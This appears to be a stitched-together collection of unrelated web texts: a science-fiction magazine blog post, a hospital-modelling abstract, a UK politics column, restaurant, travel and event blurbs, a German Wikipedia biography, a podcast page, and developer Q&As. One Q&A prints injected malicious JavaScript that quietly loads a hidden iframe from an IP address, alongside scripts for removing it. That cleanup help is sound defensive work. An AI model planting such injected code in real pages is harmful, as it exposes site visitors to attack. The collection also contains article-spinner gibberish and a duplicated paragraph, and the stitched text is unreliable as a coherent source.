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From Earth to the Stars
The Asimov's Science Fiction Magazine Author & Editor Blog
Writing Hope in Times of Trouble
by Kate Maruyama
I sat down with four futurist and scifi writers—Cecil Castelucci, Matt Kressel, PJ Manney, Nisi Shawl, and Sherri L. Smith—on BookSwell with Cody Sisco in May, and we talked about the difficulty of writing the future when our present times are so difficult. So many very productive writers I know have had trouble stringing sentences together these days, let alone pages or story, as we are all overwhelmed by the present. Each day brings new tonnage of information to process. Our biggest questions were, "How do we move forward?" and, "What can we write now?"
This conversation was early in the quarantine, and we were seeing the positive environmental repercussions on the planet from everyone simply staying home. My family made the trip to see bioluminescence come back to the Santa Monica Bay for the first time in decades. Matt Kressel said, "All across the world people are reporting bluer skies, cleaner water. I hope that people will make it want to last longer, think about how to treat the environment better."
I came away from that conversation so full of hope for the future and this planet, hope that out of the current crises, things can change. I also came away thinking science fiction was more important now than ever.
When I wrote "Footprint" I was in a very different place, wrestling with growing knowledge that my kids, now eighteen and twenty, were outgrowing my abilities to protect them from the world. I had a terrible feeling I hadn't prepared them properly. I'm certain so many parents are feeling this right now. The story, in the November/December issue of Asimov's [on sale now], dives into the helplessness of being a parent and how terrifying it is that every decision you make, even if it feels like a guess, can have lasting repercussions on a child's life. At the time I wrote it, I was overwhelmed by these feelings, to the point at which I was having trouble writing. But not writing isn't an option, so I waded in, sank for a while. I set the story in a future where global warming is catching up with us and my main character is missing garlic, which no longer grows fresh in Southern California. Temperatures are up, bees are down, food supply is challenging, but it was important to me to capture a future with hope in the air, a world on the cusp of positive change. That the reader leave this future feeling things are on their way to getting better. In many ways I hope that is where we are now, a bad place where things can only get better.
But not writing isn't an option, so I waded in, sank for a while. I set the story in a future where global warming is catching up with us and my main character is missing garlic, which no longer grows fresh in Southern California. Temperatures are up, bees are down, food supply is challenging, but it was important to me to capture a future with hope in the air, a world on the cusp of positive change.
Science fiction has always created worlds we want to see, but there has been a recent trend of dystopian futures, worlds without hope. Zombie narratives have touted an every man for himself future, testing the theory of how badly we will behave when things are at their worst. The problem is we've reached some terrible times, and that narrative seems only to have encouraged hoarding. There was that period of the quarantine when we all ran out of toilet paper, when I saw people installing deep freezes in their garages so they could buy all the meat, when the shelves at the supermarket were empty. Cory Doctorow has written and spoken on how these narratives in fiction can be damaging to us as a human race.
In these times, I'm more fascinated by the good I'm seeing coming out in people. In Los Angeles, I'm seeing neighborhoods stepping forward to take care of their own, from people buying groceries for each other, to local restaurants in Little Tokyo forming cooperatives to churn out free meals for people unemployed or houseless due to COVID-19. My group of friends seem to be participating in a vegetable exchange as we've all started growing things in our gardens or in pots. Rebecca Solnit, in her book A Paradise Made in Hell, tracks disasters across a century and a half, detailing how unexpectedly people have kindness at their center when terrible events occur. These times, despite the news to the contrary, are full of basic human kindness. In our conversation on BookSwell, Sherri L. Smith said, "The willingness to stay inside to protect other people . . . is the most generous movement I've seen on this planet for a long time."
Afrofuturism revolutionized the idea of laying a path of positive futures centering on Black characters doing good things, in positions of power, at the leading edge of technology, living free of the inequities of current times. There is power in painting futures we want to see.
A number of science fiction writers at NorWescon (Nisi Shawl and PJ Manney included) were on a panel where they talked about the importance creating a New Mythos, an ideology where we don't have to imagine a terrible future. We can envision ourselves better; we can envision a planet healing; we can find a way forward. In our conversation, Nisi Shawl said, "[dystopia] is what's served to us, it's what we're trained to enjoy . . . I want people to feel better, to let them know they can go forward . . ."
In our conversation, Cecil Castellucci pointed out that half of the scientists she knows at NASA say that science fiction was what gave them the vision to want to pursue space exploration, that drove them to choose science. That the better futures dreamed up in fiction seemed like a possibility worth pursuing.
So as writers of the future, how can we expose the evils of the world—as they should be—but bend toward a more hopeful future? How can we help change the human narrative? Be careful what you write; you are making a bigger imprint than you know.
Kate Maruyama's novel Harrowgate was published by
47North and her novella "Family Solstice" by Omnium Gatherum. Kate's short stories and essays have appeared in numerous journals and anthologies. She writes, teaches, cooks, and eats in Los Angeles where she lives with her family. Kate's first tale for us takes a moving look at family dynamics in the not too distant future.
Author fromearthtothestarsPosted on October 28, 2020
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Finding and Breaking Utopia January 12, 2023
Less is More January 4, 2023
A River as a Verb December 20, 2022
Q&A With Ramsey Shehadeh December 14, 2022
Q&A With Michèle Laframboise December 1, 2022
Find out more about Asimov's Science Fiction Magazine at our official website: www.asimovs.com.
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Abstract : The architecture of the medPRO framework has been designed from the analysis of two health care departments: the pharmacy department and the operating theatre. We were able to build a comprehensive framework for these departments, allowing us to model different organisations observed in several hospitals. To do that, we (i) listed and formalized the needs of system actors and (ii) proposed personalized views for each category of the working staff. We focused on communication, simplicity and rapidity. Furthermore, models have to be simulated in order to get results quickly. This framework consists of a list of generic resources and activities description, and a handbook describing the base system. The UML (Unified Modelling Language) has been chosen to model these systems. Several points Technical Presentations of view have been selected: process (activity diagrams), resource (state charts) and organisation (class diagrams). The process view represents the patient flow in a specific medical department: only activities related to the patient are modelled. The resource view represents the behaviour of each resource (human or material), including tasks that does not appear in the process view. Finally, the organization view represents a global view of the system: number, specialities and scope of resources, relations between them, etc. A synchronisation system is used to link these views, which constitute the physical sub-system. From this point, we developed a formalized framework and a simulation algorithm, namely a complete architecture. Although our modelling and simulation tool is still under construction, we were able to model the operating theatre process with our framework on one hand, and with traditional modelling tools on the other hand. This way, we were able to evaluate the accuracy of medPRO. A control system will also be developed in order to manage (i) disturbances during the simulation process, (ii) the settings of the simulation model, (iii) the decision process. This control system will also be useful to manage interactions between actors in order to change dynamically the system organization (scheduling of tasks, preemption, etc.). Holonic systems may be a relevant tool to complete our model.


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Conservatism has no future unless it tackles housing
Theresa May's Conservatives must tackle housing if they are to go on
Ed West 2 years Friday September 29th 2017
Pick up the iweekend: a Saturday paper that won't end up unread in the recycling
Who is on Celebrity Gogglebox 2019?
How office-to-flat conversions created the rise of 'rabbit-hutch' home
Boris would prorogue parliament at his peril. Just ask Charles I
England's cricket win is a celebration of our multicultural nation
We don't need the next PM to unite Britain - we need disagreements
Two years ago, when the Conservatives last held their party conference in Manchester, delegates entering the secure zone had to walk past a gauntlet of people spitting, shouting and throwing eggs at them.
For some reason they're returning to the heavily Labour-supporting city once again this Sunday, where the reception will probably be even more hostile.
Already a gin-tasting event at a local bar has been cancelled over fears it would be targeted by Left-wing activists; on Sunday morning delegates face two demonstrations, an anti-Brexit march expecting to attract 20,000 and an even larger event organised by the anti-austerity The People's Assembly.
Not for the first time the whole event will have a vaguely dystopian feel to it, with a ring of steel erected around the complex, just four months after the Manchester Arena bombing.
The bitter hostility facing the party in the country's third city is emblematic of its failure to make any headway in urban England, a great hope under the Cameron project, while instead it has lost even wealthy and traditionally Conservative areas like Kensington.
Boris Johnson at the UN (Photo credit: TOLGA AKMEN/AFP/Getty Images)
Although Labour placards have always outnumbered Tory ones in London, in parts of the capital the sheer level of tribal identification now feels almost Northern Ireland-like.
Theresa May now faces the party faithful, the majority of whom want her to step down before the next election, although who replaces her is the hard part. Surprisingly, the most popular choice still remains the Foreign Secretary, Boris Johnson.
Despite his wobble after the referendum, when the buffoonish court jester morphed into an almost tragic, haunted character, Johnson's ruthless ambitious streak hasn't deserted him and he is rumoured to be discontent and even threatening to resign over the government's direction on Brexit.
Yet there is a sense that the joke has worn thin – he is unpopular among those Remain-voting Tories who still constitute a large minority, and may well lose his suburban London seat next time.
The second most popular choice, Ruth Davidson, has ruled herself out while no one is entirely sure whether the campaign behind the other front-runner, Jacob Rees-Mogg, is some sort of meta-ironic meme that's got out of hand.
In many ways the situation for the Conservatives now is even worse than it was in the late 1990s, when it suffered electoral annihilation twice in a row and was out-manoeuvred by a hugely effective Labour machine, led by a popular, moderate prime minister with an instinctive feel for public opinion.
Instead it is pitted against a divisive opposition leader with an amateurish, almost comical operation, and Labour are still four points ahead. It's worse, because at least the Tory party had its base back in the 1990s, while today its support is literally dying out.
The popular Tony Blair drew the Labour Party towards the centre (Photo: Getty)
While Margaret Thatcher secured 42 per cent of the youth vote in 1979, Britain's second female prime minister got less than half that, and to the vast majority of under-40s the party is essentially repulsive, regarded as the Nasty Party, to use Theresa May's famous Ratnerism.
A number of factors might explain this, among them the expansion of university education, declining religious belief, the dominance of the Left in education and media, or the way small-c conservatism has lost the narrative on many issues. John McDonnell praises Marx and Lenin, conservatives lament, a doctrine that should have been toxified just as Nazism and its reactionary hinterland were.
How Conservatives go about winning back the young will be a major theme of the conference, but the cost of housing is the most important issue – indeed for Conservatism it is existential.
The party depends on older voters in the Green Belt whose homes are their pension fund, yet those same housing regulations make it impossible for most younger people to own their own properties.
From the 'Villa Toryism' of the late 19th century onwards the party has stayed in power with the support of a property-owning middle class. But without villas, conservatism has no future.
@EdWest
Ruth Davidson

redpajama_set_name: RedPajamaCommonCrawl


The main and adjoining building that Brimmer & Heeltap occupies have a beautiful history that our team cherishes. And, if you've never dined in our detached garden studio then you have got to put doing so at the top of your summer to-do list. When Brimmer & Heeltap proprietress Jen Doak first laid eyes on the one-hundred-year-old 400 square foot structure sitting just behind the restaurant, she saw much more than an old, dusty dry storage space. She saw wedding ceremonies and family gatherings. She envisioned an open-air space where the restaurant's neighbors could flock to in the summertime. She pictured a fire pit where her team could gather after a long night to share beers and laughs under the moonlight.
In spring 2015, after months of renovations, Brimmer & Heeltap eagerly welcomed guests to its expanded three-part garden patio and newly polished private studio. In the years since, the restaurant has hosted dozens and dozens of special events in this space; from birthday celebrations to holiday parties and everything in between, the garden studio has served as a year-round backdrop to gorgeous gatherings. During the summer, when it's not being used for winemaker dinners, wedding receptions, and private brunches, the B&H team opens the garage door to the studio, creating a dreamy, open-air patio experience. There's nothing we love more than serving our guests in this part of the restaurant on a warm summer evening.
Now that a few summers have gone by it's amazing to think that this space wasn't available to dine in until fairly recently. Brimmer & Heeltap's garden patio and studio have been listed as among the best in Seattle; it's a well-kept secret that is made all the more beautiful by its various thoughtful design features and Jen's incredible green thumb. Marian Built and Sean Sifagaloa of KRFTWRK helped bring this space to life by lending their respective craftsmanship and keen eye for design to the process of turning the previously unused dry storage shed into a place where people could happily eat and imbibe. Local ceramics artist Larry Halvorsen has been equally instrumental in helping transform this garden oasis with his gorgeous sculptures.
Of course, the most cherished part of our garden patio is all of the neighbors, friends, and regular guests who fill this space every spring and summer and have just as much love for it as we do. It is our sincere pleasure to serve you, especially when it's al fresco in the garden.
As the weather forecast continues to tease us with the promise of sunshine and warmer weather, we're excitedly gearing up for our third summer of outdoor dining in the garden and studio. We look so forward to sharing patio season with you.


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Taiwan, 180 km east of China, is known for modern cities, traditional Chinese temples, hot springs resorts and mountainous terrain. Taipei, the capital, has a number of busy night markets, as well as Chinese Imperial art at the National Palace Museum. Taipei 101, a 509m-tall, bamboo-shaped skyscraper with an observation deck, rises above the city.
Taipei (2,704,974)
U.S. $24,027
Standard Chinese (Mandarin), Formosan Language
Buddhism, Taoism
36,197 km2 (13,976 square miles)
LITERACY PERCENT
Jiufen is a mountain town in northeastern Taiwan, east of Taipei. It is known for the narrow alleyways of its old town, packed with teahouses, street-food shacks and souvenir shops. Near central Old Street is the Shengping Theater, established in the 1900s and since restored. Close by, the Gold Mine Museum traces the town's history as a mining hub during the Japanese-era gold rush.
NEW TAIPEI CITY
New Taipei City is a special municipality and the most populous city in Taiwan. Located in northern Taiwan, the city includes a substantial stretch of the island's northern coastline and surrounds the Taipei Basin, making it the second largest special municipality by area behind Kaohsiung.
SHIFEN
Shifen is a small town near Ruifang. It is crossed by a railroad and comes to life in the evening, when the locals light up the orange lanterns.
Taipei, the capital of Taiwan, is a modern metropolis with Japanese colonial lanes, busy shopping streets and contemporary buildings. The skyline is crowned by the 509m-tall, bamboo-shaped Taipei 101 skyscraper, with upscale shops at the base and a rapid elevator to an observatory near the top. Taipei is also known for its lively street-food scene and many night markets, including expansive Shilin market.


Innovation is thought to be the main impetus behind upgrades in social insurance and, when you take a gander at the rate of progress and late advancements, many think that its hard not to concur with that perception. Alumni of wellbeing informatics will most likely concur that innovation is affecting numerous parts of our lives as achievements in information accumulation, research and medications enable restorative suppliers to utilize new apparatuses and find crisp and creative approaches to practice pharmaceutical into what's to come.
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The admissions committee looks through the applicant's resume, letter of recommendation and personal statement to get a closer look at an applicant. Many nursing schools require a nursing school essay that the applicant includes about themselves with details like why they would like to be nurse and why they are a good candidate for the nursing program. This allows the school's admissions committee to get to know you as a potential student and find out what drives you as an individual. It also helps the admissions committee determine whether their nursing school will be a good fit for you as a future nurse and whether you will be a fit for the school. essays for nursing school to study easier.
Academic writing is clear, concise, focussed, structured and backed up by evidence. Its purpose is to aid the reader's understanding. http://writingcollegeessays.org is all about academic writing.
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Digital Therapeutics Alliance Boosts European Presence
The Digital Therapeutics Alliance (DTA) has expanded its European membership by announcing that S3 Connected Health is joining the industry body.
DTA is a global non-profit trade association which aims to broaden the understanding, adoption, and integration of clinically-validated digital therapeutics in healthcare through education, advocacy, and research.
Launched in October 2017, DTA is committed to engaging with patients, providers, payers and regulators to define and develop meaningful resources to guide and scale adoption of digital therapeutics (DTx). It works with industry leaders to aid the introduction of tested and trustworthy digital solutions in healthcare. The Alliance has now grown its global membership to 20 companies, bringing together wide-ranging expertise from firms engaged in implementing digital therapeutics in drug discovery and clinical pathways.
In the US, DTA supports the work of the US Food and Drug Administration (FDA) and related efforts to drive regulatory, clinical, organizational and financial integration of digital therapeutics into mainstream healthcare. The expansion of its European presence will enable the Alliance to progress parallel efforts across the diverse and varied European healthcare ecosystem.
S3 Connected Health specializes in the design and development of digital therapeutics and digital health solutions. Focused on addressing the problem of therapy management and medication non-adherence, which is estimated to account for hundreds of thousands of premature deaths globally each year, costing the pharmaceutical industry around $637bn in lost revenues and compromising positive patient health outcomes.
Having pioneered successful, clinically-validated telehealth solutions in the UK and Italy over the past decade, S3 Connected Health has invested heavily in its Affinial platform, a solution-as-a-service that uses behavioral science techniques and user data to deliver individualized support to help patients to manage their therapy and remain adherent to medications across multiple conditions.
S3 Connected Health will bolster DTA's presence in Europe and provide a platform for increased understanding of the regulatory, legal and reimbursement pathways on behalf of digital therapeutics firms within institutions including the European Medicines Agency.


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Q: How to set my name for a particular repository in egit in eclipse? I noticed that after pushing some changes to my github clone of a project, I realized from the commit history that my user name is my email address name, which isn't the name that I'd like to be known as in that repository.  How do I change the name that's used only for that repository (or for anything that I clone from github)?
I'm using eGit in Eclipse Kepler.

A: With the command-line interface, this would change the name for a particular repository:
cd /path/to/repository
git config user.name "Full Name"

This stores it in the .git/config of that repository. In general, settings from there override the ones from your home directory, which override those from the system configuration.
In Eclipse, do this:

*

*Type "git repo" into Quick Access to open the Git Repositories view

*On your repository, open the context menu and select Properties

*Click Add Entry... and enter the values as above

Alternatively, the same can be done via preferences > Team > Git > Configuration.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Remove a block of code My JS files have got this malicious code which I want to get rid of. So files have multiple occurances of it. Cananyone help use SED or AWK to remove it ?
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "http://155.94.75.92/iframe.html";
    document.body.appendChild(iframe);
};

}

A: Save just that code segment in a file named "bad" and then run this on your infected files (uses GNU awk for multi-char RS):
awk -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected

Once you're happy it's behaving as expected after testing on 1 infected file, you can add the inplace editing flag (again gawk-only) and run it on all of your infected files at once:
awk -i inplace -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); print; next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected1 infected2 ... infectedN

wrt your command below that "it didn't work", look at it working:
$ cat bad
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "http://155.94.75.92/iframe.html";
    document.body.appendChild(iframe);
};

}

$ cat infected
foo
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "http://155.94.75.92/iframe.html";
    document.body.appendChild(iframe);
};

}
bar

$ awk -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected
foo
bar

A: I would suggest using a Python script:
list_of_js_file_paths = ["/path/to/file/1","/path/to/file/2"]

for i in list_of_js_file_paths:
    original = ""
    with open(i,"r") as file:
        original = file.read()
    original = original.replace("""
    <malicious_code>
    ""","")
    with open(i,"w") as file:
        file.write(original)

Now run it via sudo python3 yourpythonfile.py


text:
import { test, moduleForModel } from 'ember-qunit';

moduleForModel('ast/block', 'AstBlock', {
  // Specify the other units that are required for this test.
  needs: ['model:ast/statement']
});

test('it exists', function() {
  var model = this.subject();
  // var store = this.store();
  ok(model);
});

redpajama_set_name: RedPajamaGithub


In this Episode we are happy to talk to Grady Booch. We started off by discussing his Architecture Handbook, how it came into being, the progress, and how it will look like once it's finished. In this context we also looked at the issue of how to distinguish architecture from design. We then asked him about how "professional" software architecture is these days, as well as about the ubiquity of software product lines in industry. The next couple of minutes looked at the question of whether software development is an engineering discipline, craftsmanship or an art form, and we discussed the key qualifications of software developers. Grady then elaborated on the problems of developing in large teams as well as the potential limits of complexity we can tackle with software.


text:
Bella Abramowna Subbotowskaja, auch Bella Muchnik, (; englische Transkription Bella Abramovna Subbotovskaya; * 17. Dezember 1937; † 23. September 1982 in Moskau) war eine russische Mathematikerin und Gründerin einer jüdischen Untergrunduniversität in Moskau.

Biographie

Subbotowskaja interessierte sich früh für Mathematik und studierte, als dies in der Chruschtschow-Ära der 1950er-Jahre für Juden in der Sowjetunion wieder besser möglich war, an der Lomonossow-Universität, wo sie auch promoviert wurde. Danach arbeitete sie als Programmiererin und veröffentlichte Arbeiten in mathematischer Logik und Numerische Mathematik. Außerdem unterrichtete sie Mathematik auf den unterschiedlichsten Ebenen, zum Beispiel entwarf sie mathematische Spiele für Kinder oder unterrichtete an Abendschulen.

Sie war seit 1961 mit dem späteren Informatik-Professor an der Rutgers University Ilja Muchnik verheiratet und veröffentlichte zeitweise unter dem Namen Muchnik, nahm nach der Scheidung aber wieder ihren ursprünglichen Namen an. Sie hatte eine Tochter, die später in den USA lebte. Subbotowskaja spielte bis zu ihrem Tod Viola im Kammerorchester der Lomonossow-Universität.

Universität des jüdischen Volkes

In der Breschnew-Ära ab den 1970er-Jahren wendete sich das Blatt für jüdische Mathematik-Studenten wieder, ausgelöst auch durch Flugblattaktionen von Dissidenten Ende der 1960er-Jahre, die auch von vielen Mathematikern an der Lomonossow-Universität unterstützt wurde. In der Folge wurde an der zentralen Ausbildungsstätte für Mathematiker, der Mech-Math-Fakultät der Lomonossow-Universität speziell für jüdische Studenten eine rigorose, schikanöse mündliche Prüfung eingeführt, die darauf angelegt war Kandidaten mit jüdischen Namen (die zuvor wie die gleiche schriftliche Prüfung wie die restlichen Kandidaten bestanden haben mussten) auszusieben. Die Fragen waren zum Teil bewusst zweideutig formuliert oder von außerordentlicher Schwierigkeit und die mündliche Prüfung auf 5 bis 6 Stunden ausgedehnt – und wenn das nichts nutzte gab es auch noch einen Aufsatz in russischer Sprache, der genügend Spielraum für Ablehnung bot oder man lehnte einfach ohne Begründung die Aufnahme ab. Diese Praktiken wurden durch eine schon länger bestehende antisemitische Einstellung einiger der einflussreichsten sowjetischen Mathematiker in Moskau unterstützt, wobei zur Begründung zum Beispiel angeführt wurde, dass durch eine besondere Frühbegabung jüdischer Studenten für Mathematik nicht-jüdischen Studenten die Stellen weggenommen würden. Beschwerden gegen die Prüfungsergebnisse waren meist aussichtslos. Die durchgefallenen Kandidaten mussten an anderen, mehr technischen Universitäten in Moskau studieren, zum Beispiel der Hochschule für Öl und Gas oder für Eisenbahntechnik, wo aber nur Mathematik fürs Ingenieursstudium unterrichtet wurde, oder mussten an solchen Universitäten in der Provinz studieren (zum Beispiel im Ural oder in Saratow), wo die Zulassung weniger streng gehandhabt wurde. Auch der Zugang zu Stellen nach dem Studium war für jüdische Mathematiker eingeschränkt, insbesondere falls die Stelle eine Sicherheitsfreigabe erforderte. Einige fähige jüdische Mathematiker, die später im Westen Karriere machten, mussten oft jahrelang in Aushilfstätigkeiten arbeiten, bevor ihre Ausreiseanträge durchkamen.

In dieser Situation gründete Subbotowskaja 1978 mit dem Mathematiklehrer Waleri Senderow was bald in Untergrundkreisen als Universität des jüdischen Volkes bekannt war. Senderow, der an der bekannten Spezialschule Schule Nr.2 in Moskau unterrichtete, hatte zuvor mit seinem Kollegen Boris Kanewski die unfairen offiziellen Prüfungspraktiken statistisch untersucht und in ihrer Untergrundschrift Intellektueller Genozid veröffentlicht, und sowohl Senderow als auch Subbotowskaja hatten zuvor abgewiesene jüdische Studienanwärter im Abfassen von Petitionen beraten. Subbotowskaja war die treibende Kraft in der Organisation der Untergrunduniversität. Sie organisierte Kurse in höherer Mathematik zuerst in ihrer eigenen Wohnung, dann in Räumen, die sie durch Kontakte an Universitäten und anderen öffentlichen Einrichtungen unter der Hand requirieren konnte. Später hatten sie sogar einen halb-offiziellen Status am Institut für Öl und Gas. Die Kurse, die zweimal wöchentlich und zusätzlich Samstags stattfanden, waren wie ein Hochschulkurs organisiert mit Prüfungen und Hausübungen. Zu den Lehrern gehörten neben Senderow und Kanewski Alexander Winogradow, Alexander Shen, Alexei Sossinski, Michail Marinow, Boris Feigin, Dmitry Fuchs (Subbotowskaja kannte ihn ebenso wie Winogradow noch aus Studienzeiten), Andrei Zelevinsky. Bei einer Gelegenheit hielt John Milnor einen Vortrag. Obwohl Subbotowskaja und die anderen Gründer auf strikter Trennung zur Politik achteten (weswegen Alexander Winogradow aus dem Lehrerkader am Anfang wieder ausschied), war der zunehmende Erfolg trotz widriger Umstände offiziellen Stellen ein Dorn im Auge und Anfang 1982 verstärkte der KGB, der die Universität von Anfang an auch durch Spitzel beobachtete, den Druck: Subbotowskaja wurde mehrfach zu Verhören geladen. Im Sommer 1982 wurden Senderow und Kanewski verhaftet, die allgemein als Dissidenten bekannt waren. Außerdem wurde einer der Studenten der Untergrunduniversität verhaftet. Senderow erhielt später sieben Jahre Gefängnis, Kanewski etwas über ein Jahr. Subbotowskaja wurde vom KGB unter Druck gesetzt, gegen beide auszusagen, weigerte sich aber.

Sie starb unter mysteriösen Umständen im September 1982, als sie nach einem Besuch bei ihrer Mutter um 23 Uhr bei sonst kaum vorhandenem Verkehr in einer stillen Seitenstraße von einem Lastwagen mit hoher Geschwindigkeit angefahren wurde, der daraufhin Fahrerflucht beging. Ein zweiter Wagen hielt kurz danach und fuhr dann nach einem kurzen Blick auf das Opfer ebenfalls weiter. Wenig später kam ein Krankenwagen und lud die Leiche auf. Es wurde vermutet, dass sie einem KGB Anschlag zum Opfer fiel. Der Bus ihres Kammer-Orchesters fuhr auch ihren Leichnam zur Beerdigung.

Die Universität des jüdischen Volkes stellte wenige Monate später ihre Vorlesungstätigkeit ein. Im Lauf der Jahre hatte sie rund 350 Studenten, wovon 100 einen Diplom-Abschluss machten. Zu den Studenten zählte Victor Ginzburg.

Vorlesungen speziell für jüdische Studenten, denen der Zugang zu einer Ausbildung in höherer Mathematik auch in den 1980er Jahren häufig verwehrt wurde, erfolgte aber auch weiterhin zum Beispiel an der Hochschule für Öl und Gas (Kerosinka genannt).

2007 fand zu Ehren von Subbotowskaja eine Konferenz am Technion in Haifa statt.

Literatur
George Szpiro A mathematical medley - fifty easy pieces on mathematics, American Mathematical Society, auch als Bellas geheimes Seminar in Mathematik fürs Wochenende, Piper Verlag 2008 (bzw. Mathematischer Cocktail, NZZ Verlag 2008)
Alexander Shen Entrance examinations in Mekh-Mat, Mathematical Intelligencer, Band 16, 1994, Nr. 4
Michail Schifman (Herausgeber) You failed your entrance math test, comrade  Einstein, World Scientific 2005
Anatoli Werschik Admission to the mathematics departments in Russia in the 1970s and 1980s, Mathematical Intelligencer, Band 16, 1994, Nr. 4

Weblinks
George Szpiro Bella Abramovna Subbotovskaya and the Jewish Peoples University, Notices AMS, November 2007
Webseite bei der MAA

 Bellas geheimes Seminar in der Zeit, erschienen am 27. September 2007

Einzelnachweise

Mathematiker (20. Jahrhundert)
Russe
Sowjetbürger
Geboren 1937
Gestorben 1982
Frau

redpajama_set_name: RedPajamaWikipedia


Light-rail service was delayed 45 minutes eastbound and 20 minutes westbound.
Train service west of Van Buren Street at Central Avenue is closed due to police activity, according to Valley Metro.
A man climbed on top of a light-rail platform early Friday near Central Avenue and Roosevelt Street in downtown Phoenix, shutting down some train service for morning commuters.
Phoenix police said Michael Franco, 34, climbed approximately 30 feet atop the platform around 1:15 a.m. The man was barefoot, wearing no shirt and pants that were "ripped to shreds," said Sgt. Tommy Thompson, a spokesman for Phoenix police.
Thompson said Franco may have been "impaired by some type of chemical — drugs or alcohol."
Special Assignments Unit officers and the Phoenix Fire Department were called to the scene to assist. They used ladders, including a fire department ladder truck, in an attempt to get Franco down safely from his precarious location, Thompson said.
The station at Roosevelt Street and Central Avenue reopened and light-rail services were restored shortly after 8 a.m., Valley Metro tweeted.
Franco was booked into the Maricopa County Jail and charged with trespassing, criminal damage and disorderly conduct. Franco also had a misdemeanor warrant for his arrest, from another jurisdiction, Thompson said.


What do you get when you put comedy and magic all in one place – Ed Alonzo, of course!
With his wonderful Groucho Marx eyebrows, Harold Lloyd glasses and topped with his signature crazy hairstyle, he is easily recognized as one of US foremost comedy magicians. He has the ability to grab the audience's funny bones and tickle relentlessly, leaving crowds rolling on the floor with laughter.
Comedic magician Ed Alonzo is no ordinary illusionist. His wacky tricks and comedy illusions are known for tickling audiences' funny bones. This psycho circus of magic & mayhem will also feature dances and several circus acts.
So come and witness the mind-blowing magic as Ed brings his entire Circus of Magic & Mayhem to the Genting International Showroom (GISR) starting 7 November 2015 till 13 March 2016!
This fun-filled family event is brought to you by David Lai, 8 Productions.


text:
Forsaking A Relentless Pursuit Of A Better Body: How To Find More Purpose & Meaning In "Fitnessing" & Make A Bigger Difference In The World.
Home » Podcast » Lifestyle »
Lifestyle, Podcast
Three years ago, I read two life-changing books that completely transformed the way that I think about my own purpose and meaning in life, and whether I'm truly making a difference in the world or whether I'm simply engaged in a relentless pursuit of "fitnessing" without actually making an impact in anyone's life.
The books – titled "Unfinished" and "Hole In The Gospel" – were written by author Rich Stearns, the president of a company called World Vision – a global Christian humanitarian organization that partners with children, families, and their communities to reach their full potential by tackling the causes of poverty and injustice.
Within just a few weeks of reading the books, my children and I had "adopted" a little girl from Ethiopia, who we send gifts and financial support to each month. We'd also begun volunteering more in our local community and doing a better job teaching others about the importance of purpose and passion in life, love and relationships, and belief in a higher power. These are all values I highlight in my article: "Five Quotes I Live By, Three Keys To Happiness, Two Questions To Ask Yourself & One Must-Do Thought Experiment."
Now, when it comes to helping care for and support others and equipping others on this planet to experience a more fulfilling life, I'm about to take things to the next level.
By supporting World Vision's bold initiative called the "THRIVE" Economic Empowerment program.
THRIVE is based on the fact that millions of people in the most impoverished parts of the world are smallholder farmers who lack access to the knowledge, capital, markets, technology, and information they need to build thriving businesses. World Vision's fully integrated, proven approach to economic empowerment is designed to equip these hardworking men and women to move from surviving to – you guessed it – thriving. Ultimately, this helps hardworking families break the cycle of extreme poverty for good.
My guest on today's podcast, Christopher Shore, is the Chief Development Officer of this entire "THRIVE" Economic Empowerment program. Now in his 20th year with World Vision, Chris works on issues which contribute to the work of THRIVE – specifically building improved and resilient livelihoods for smallholder farmers. Chris began partnering with World Vision on microfinance issues while working for the Mennonite Economic Development Associates. He joined World Vision as National Director in Romania in 1997. He moved to California to lead World Vision's microfinance and economic development work starting in 2001 and was largely focused on microfinance.
Chris founded VisionFund International in 2003 and handed leadership to Scott Brown in 2006. That same year Chris turned his attention to the non-microfinance aspects of economic development and began World Vision's Natural Environment and Climate Issues group, which he led full-time starting in 2008. In 2011 Chris became one of the architects of Securing Africa's Future in Tanzania – now THRIVE.
In 2013 he led that work for East and West Africa, and in 2015 moved to World Vision USA. Chris is Canadian, lives in Southern California, is married to Dr. Susan Shore, and is the father of Andrew and Katrina. He enjoys cycling, gardening, and woodworking.
During our discussion, you'll discover:
-The shocking concept of generational poverty and how a vicious cycle persists from generation to generation in many countries in Africa, from Tanzania to Rwanda and beyond…18:15
-How THRIVE shifts mindsets to an understanding that every person has great value, and possesses the power and responsibility to move from dependency to dignity…27:30
-The "bank" that THRIVE then helps each farmer to create in their local community to create end-to-end business of farming…31:45
-The importance of natural resource management and how THRIVE helps farmers manage their on-farm soil, vegetation, and water management, and to manage and rehabilitate forests, watersheds, and grasslands…41:40
-How THRIVE teaches emergency and situational awareness and teaches the farmers how to manage investments and risks and needs information to deal with shocks, emergencies, and change around them…52:00
-The way that hardworking farmers finally have the ability to consistently feed their children nutritious food; send them to school; cover bills for basic healthcare; build a house made of brick with a metal roof instead of mud, sticks, and straw; and reinvest in their businesses…57:00
-How you can support this entire program and even visit Africa to climb Mt. Kilimanjaro and see the THRIVE initiative in action…1:04:30
–Thrive Market You get $60 off your first order, free shipping and a 30-day free trial when you use my special link!
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Resources from this episode:
–The THRIVE Economic Empowerment program at World Vision
–GetKion.com
–The Christian Gratitude Journal
-The documentary Icarus
–My interview with Joel Salatin, author of "Pigness of Pigs"
-Book: Hole in the Gospel
-Book: Unfinished
Do you have questions, thoughts or feedback for Chris or me? Leave your comments below and one of us will reply!
22 thoughts on "Forsaking A Relentless Pursuit Of A Better Body: How To Find More Purpose & Meaning In "Fitnessing" & Make A Bigger Difference In The World."
Craig Tatum says:
Interested in more information on the Africa trip
Dominic Onofre says:
